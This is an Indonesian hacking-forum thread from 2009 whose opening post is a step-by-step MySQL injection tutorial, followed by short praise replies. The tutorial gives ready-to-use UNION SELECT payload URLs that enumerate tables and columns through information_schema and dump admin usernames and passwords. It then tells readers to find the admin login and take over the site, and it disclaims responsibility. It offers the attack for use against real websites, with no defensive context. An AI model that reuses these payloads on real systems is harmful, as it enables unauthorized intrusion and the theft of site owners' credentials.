Devilzc0de TeaM
Would you like to react to this message? Create an account in a few clicks or log in to continue.


We Are DevilzCrew
 
IndeksLatest imagesPendaftaranLogin

 

 My SQL Injection Step by Step

Go down 
+2
flyff666
gonzhack
6 posters
PengirimMessage
gonzhack
Asisten LAB
Asisten LAB
gonzhack


Jumlah posting : 69
Join date : 10.05.09

My SQL Injection Step by Step Empty
PostSubyek: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyFri Jun 26, 2009 8:17 am

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100′ atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)…
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error…
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..

============
=step Empat:= <<<<< lewatin ajah... Very Happy
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah “admin”

===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

http://www.piclist.com/techref/ascii.htm

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0×61646D696E--

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0×3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0×3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0×3a,id,username,password),6,7,8+from+admin--

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda…
(me gak bertanggung jawab loh..) Very Happy

Untuk Lebih Jelas Bisa Download Video Tutorial Ini Beserta File MySQL Injection

DOWNLOAD

anda langsung jalankan file ” SQL Injection.html ”

(Nb. mohon maaf apabila ada salah kata atau kekurangan dalam tutorial + video ini)

Salam

Gonzhack
Kembali Ke Atas Go down
flyff666
Admin
Admin
flyff666


Jumlah posting : 44
Join date : 29.04.09

My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyFri Jun 26, 2009 8:50 pm

mantab .. lanjot dah ..
Kembali Ke Atas Go down
https://devilzc0de.indonesianforum.net
N4ck0
Pengunjung
Pengunjung
N4ck0


Jumlah posting : 59
Join date : 21.06.09

My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyFri Jun 26, 2009 9:33 pm

wah mantap master

nih tutorial dan videoyang jadi dasar ane belajar
SQL Injection om
nice share yahh

cheers cheers
Kembali Ke Atas Go down
gunslinger_
Asisten LAB
Asisten LAB



Jumlah posting : 184
Join date : 15.05.09
Age : 30
Lokasi : mars

My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyFri Jun 26, 2009 10:28 pm

wow.... keren kaka.....
nice share
Kembali Ke Atas Go down
gonzhack
Asisten LAB
Asisten LAB
gonzhack


Jumlah posting : 69
Join date : 10.05.09

My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyTue Jun 30, 2009 1:20 am

iyah sama' kaka
Kembali Ke Atas Go down
vhesckot
Pengunjung
Pengunjung
vhesckot


Jumlah posting : 56
Join date : 03.06.09

My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyTue Jun 30, 2009 1:39 am

Wah Keren neh....
Ijin bookmark ah,,kadang2 saya masih lupa....
Heheheeee

lol! lol! lol! lol! lol! lol!
Kembali Ke Atas Go down
rotlez
Pengunjung
Pengunjung
rotlez


Jumlah posting : 30
Join date : 18.06.09
Age : 33
Lokasi : Bekasi yg panaZ..

My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyTue Jun 30, 2009 2:40 pm

nice tutor om gonzhack......!!!

Very Happy Very Happy Very Happy Very Happy Very Happy
Kembali Ke Atas Go down
gunslinger_
Asisten LAB
Asisten LAB



Jumlah posting : 184
Join date : 15.05.09
Age : 30
Lokasi : mars

My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step EmptyWed Jul 08, 2009 3:24 pm

What a Face What a Face What a Face What a Face What a Face What a Face What a Face What a Face What a Face What a Face
Kembali Ke Atas Go down
Sponsored content





My SQL Injection Step by Step Empty
PostSubyek: Re: My SQL Injection Step by Step   My SQL Injection Step by Step Empty

Kembali Ke Atas Go down
 
My SQL Injection Step by Step
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» sql injection ku...
» SQL INJECTION TERBARU
» Tutor SQL injection convert (using latin )

Permissions in this forum:Anda tidak dapat menjawab topik
Devilzc0de TeaM :: Computer :: Attacking-Web-
Navigasi: